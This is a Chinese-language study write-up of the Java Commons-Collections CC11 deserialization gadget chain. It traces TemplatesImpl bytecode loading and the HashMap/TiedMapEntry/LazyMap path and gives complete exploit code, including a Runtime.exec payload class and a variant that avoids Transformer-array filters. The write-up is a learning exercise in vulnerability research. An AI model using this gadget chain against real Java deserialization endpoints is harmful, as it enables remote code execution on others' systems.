0x00环境搭建
jdk8u65(CC11不受jdk版本限制)
Maven
openJDK8u65
CommonsCollections3.2.1
0x01利用链分析 很多师傅说CC11就是CC2+CC6的组合,但是我感觉CC11更像是CC4+CC6?因为命令执行方式还是用的TemplatesImpl
动态加载字节码
TemplatesImpl
利用在ClassLoader
我们就已经讲过,ClassLoader.defineClass()
可以直接加载字节码,但是由于其作用域不放开的关系,攻击者很少能直接利用它。而在TemplatesImpl
类中重写了defineClass
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 static final class TransletClassLoader extends ClassLoader { private final Map<String,Class> _loadedExternalExtensionFunctions; TransletClassLoader(ClassLoader parent) { super (parent); _loadedExternalExtensionFunctions = null ; } TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) { super (parent); _loadedExternalExtensionFunctions = mapEF; } public Class<?> loadClass(String name) throws ClassNotFoundException { Class<?> ret = null ; if (_loadedExternalExtensionFunctions != null ) { ret = _loadedExternalExtensionFunctions.get(name); } if (ret == null ) { ret = super .loadClass(name); } return ret; } Class defineClass (final byte [] b) { return defineClass(null , b, 0 , b.length); } }
此时,defineClass
的作用域已经从protected变成了default,它已经能够被外部访问
我们find usages,找到了调用了defineClass()
方法的defineTransletClassed()
defineTransletClasses
先判断_bytecodes
(也就是要加载的字节码)是否为null,再由run
方法,生成loader
,然后由_bytecodes.length
获取字节码的组数,最后调用defineClass()
依次加载每一组字节码。但它依然是一个private方法,我们继续往上找
这里有三个方法,而我们选择getTransletInstance()
,因为defineClass()
将字节码加载呈类的时候,并不会对类对象进行初始化,也就不会引起命令执行
而getTransletInstance()
首先对__name
进行判断,然后调用defineTransletClasses()
,最后调用newInstance()
进行类对象的实例化。继续往上找,终于找到了public方法newTransformer
还有要注意的就是TransformerImpl
的构造函数,_tfactory
需要传入一个TransformerFactoryImpl
对象
所以利用链大致就是
1 2 3 4 TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() TransletClassLoade.defineClass()
然后我们开始编写测试代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;public class TestTemplatesImpl { public static void main (String[] args) throws Exception{ byte bytes[]= Files.readAllBytes(Paths.get("D:\\CTF\\Javasec\\classloader\\src\\TemplatesImplDemo\\Calc.class" )); TemplatesImpl templates=new TemplatesImpl (); setFieldValue(templates,"_bytecodes" ,new byte [][]{bytes}); setFieldValue(templates,"_name" ,"notlus" ); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); templates.newTransformer(); } public static void setFieldValue (Object o,String fieldName,Object value) throws Exception{ Field field=o.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(o,value); } }
待加载的类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Calc extends AbstractTranslet { @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public Calc () { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { throw new RuntimeException (e); } } }
这里还有一个细节,就是待加载的类必修是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
的子类,这个类是一个抽象类,所以我们也就需要重写这个类的抽象方法
再探CC6 我们从LazyMap.get()
开始讲起,因为这个方法里面调用了transform()
方法,进而可以调用InvokerTransformer.transform()
来达到反射执行命令的目的
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
我们先尝试写一个demo,把LazyMap
和前面的demo串起来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.lang.reflect.Field;import java.lang.reflect.Member;import java.lang.reflect.Method;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class TestLazyMap { public static void main (String[] args) throws Exception{ TemplatesImpl templates=new TemplatesImpl (); byte [] bytes= Files.readAllBytes(Paths.get("D:\\CTF\\Javasec\\classloader\\src\\TemplatesImplDemo\\Calc.class" )); setFieldValue(templates,"_bytecodes" ,new byte [][]{bytes}); setFieldValue(templates,"_name" ,"notlus" ); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); Transformer[] transformers=new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" ,null ,null ) }; ChainedTransformer chainedTransformer=new ChainedTransformer (transformers); chainedTransformer.transform(chainedTransformer); HashMap hashMap=new HashMap (); Map lazyMap= LazyMap.decorate(hashMap,chainedTransformer); Method method=LazyMap.class.getDeclaredMethod("get" , Object.class); method.invoke(lazyMap,chainedTransformer); } public static void setFieldValue (Object o,String fieldName,Object value) throws Exception{ Field field=o.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(o,value); } }
接下来就需要去找到哪里调用了get()
方法,注意到TiedMapEntry
,它的getValue
里面调用了get
方法,并且这个类的构造函数也是public
的
我们把上面的demo稍微改一下,同样可以弹出计算器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class TestTiedMapEntry { public static void main (String[] args) throws Exception{ TemplatesImpl templates=new TemplatesImpl (); byte [] bytes= Files.readAllBytes(Paths.get("D:\\CTF\\Javasec\\classloader\\src\\TemplatesImplDemo\\Calc.class" )); setFieldValue(templates,"_bytecodes" ,new byte [][]{bytes}); setFieldValue(templates,"_name" ,"notlus" ); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); Transformer[] transformers=new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" ,null ,null ) }; ChainedTransformer chainedTransformer=new ChainedTransformer (transformers); HashMap hashMap=new HashMap (); Map lazyMap= LazyMap.decorate(hashMap,chainedTransformer); TiedMapEntry tiedMapEntry=new TiedMapEntry (lazyMap,chainedTransformer); tiedMapEntry.getValue(); } public static void setFieldValue (Object o,String fieldName,Object value) throws Exception{ Field field=o.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(o,value); } }
而getValue
是一个很常见的方法,我们先在同一个类里找一下哪里调用了getValue
这里碰巧找到了hashCode
方法,里面不仅调用了getValue()
,其本身也是一个在Java反序列化里很常见的方法。
后面的链子也就显而易见了,和URLDNS是一样的
HashMap.readObject()
里面最后调用了hash()
方法,而hash()
方法里面又调用了hashCode()
0x02编写exp HashMap
作为入口类的CC11链子如下:
1 2 3 4 5 6 7 8 HashMap.readObject() HashMap.putVal() HashMap.hash() TiedMapEntry.hashCode() TiedMapEntry.getValue() LazyMap.get() InvokerTransformer.transform() templatesImpl.defineClass()
因为CC11的前半段已经在CC6里讲过了,这里直接上exp
最终exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CC11 { public static void main (String[] args) throws Exception{ TemplatesImpl templates=new TemplatesImpl (); byte [] bytes= Files.readAllBytes(Paths.get("D:\\CTF\\Javasec\\classloader\\src\\TemplatesImplDemo\\Calc.class" )); setFieldValue(templates,"_bytecodes" ,new byte [][]{bytes}); setFieldValue(templates,"_name" ,"notlus" ); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); Transformer[] transformers=new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" ,null ,null ) }; ChainedTransformer chainedTransformer=new ChainedTransformer (transformers); HashMap hashMap=new HashMap (); Map lazyMap= LazyMap.decorate(hashMap,new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry=new TiedMapEntry (lazyMap,"key1" ); HashMap<Object,Object> expMap=new HashMap (); expMap.put(tiedMapEntry,"key2" ); hashMap.remove("key1" ); Field field=lazyMap.getClass().getDeclaredField("factory" ); field.setAccessible(true ); field.set(lazyMap,chainedTransformer); serialize(expMap); unserialize("ser.bin" ); } public static void setFieldValue (Object o,String fieldName,Object value) throws Exception{ Field field=o.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(o,value); } public static void serialize (Object obj) throws Exception{ ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws Exception{ ObjectInputStream ois=new ObjectInputStream (new FileInputStream (Filename)); Object o=ois.readObject(); return o; } }
然后需要注意两个点
问题1:put()
方法被调用导致提前命令执行 如果我们注意HashMap.put()
1 2 3 public V put (K key, V value) { return putVal(hash(key), key, value, false , true ); }
put()
方法里也调用了hash()
方法,这样就会导致在expMap.put()
这步就会执行命令
所以我们得在put
方法之前就得传入一个无用的值,然后在执行完put
方法之后,序列化之前再通过反射修改回去,也就是这一段:
1 2 3 4 Field field=lazyMap.getClass().getDeclaredField("factory" ); field.setAccessible(true ); field.set(lazyMap,chainedTransformer); serialize(expMap);
问题2:为什么需要remove()
方法 如果我们不执行hashMap.remove("key1")
这一段,我们的代码也就不会弹出计算器,我们来打断点看看原因
在反序列化的时候,这里会判断当前传入的HashMap
是否包含key
我们传入的是一个空的HashMap
,但是走到反序列化的时候,里面却有一组键值对"key->1"
,这是怎么回事呢?
前面说到,我们在执行expMap.put(tiedMapEntry,"key2");
这步命令的时候,put()
方法会继续往下执行,走到LazyMap.get()
,此时传入得HashMap
为空,也就自然能够通过判断
我们注意到debug的信息,map.put()
这一步就会往里面放入"key1"->1
,所以在反序列化的时候也就没办法通过判断
CC11是可以不带Transformer
数组的,这样在某些场景下就可以用于绕过对于Transformer
的过滤
我们直接在LazyMap.get()
里面调用InvokerTransformer.transform()
,然后把TemplatesImpl
对象传进去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CC11 { public static void main (String[] args) throws Exception{ TemplatesImpl templates=new TemplatesImpl (); byte [] bytes= Files.readAllBytes(Paths.get("D:\\CTF\\Javasec\\classloader\\src\\TemplatesImplDemo\\Calc.class" )); setFieldValue(templates,"_bytecodes" ,new byte [][]{bytes}); setFieldValue(templates,"_name" ,"notlus" ); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); InvokerTransformer invokerTransformer=new InvokerTransformer ("newTransformer" ,null ,null ); HashMap hashMap=new HashMap (); Map lazyMap= LazyMap.decorate(hashMap,new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry=new TiedMapEntry (lazyMap,templates); HashMap<Object,Object> expMap=new HashMap (); expMap.put(tiedMapEntry,"key2" ); hashMap.remove(templates); Field field=lazyMap.getClass().getDeclaredField("factory" ); field.setAccessible(true ); field.set(lazyMap,invokerTransformer); serialize(expMap); unserialize("ser.bin" ); } public static void setFieldValue (Object o,String fieldName,Object value) throws Exception{ Field field=o.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(o,value); } public static void serialize (Object obj) throws Exception{ ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws Exception{ ObjectInputStream ois=new ObjectInputStream (new FileInputStream (Filename)); Object o=ois.readObject(); return o; } }
0x03总结 CC-N其实都可以由CC1~CC7排列组合而成,CC11并没有加到ysoserial里面。CC11算是一条应用比较广泛的链子,这次学习CC11也算是回顾一下前面的只是,再贴一下CC11的利用链
1 2 3 4 5 6 7 8 HashMap.readObject() HashMap.putVal() HashMap.hash() TiedMapEntry.hashCode() TiedMapEntry.getValue() LazyMap.get() InvokerTransformer.transform() templatesImpl.defineClass()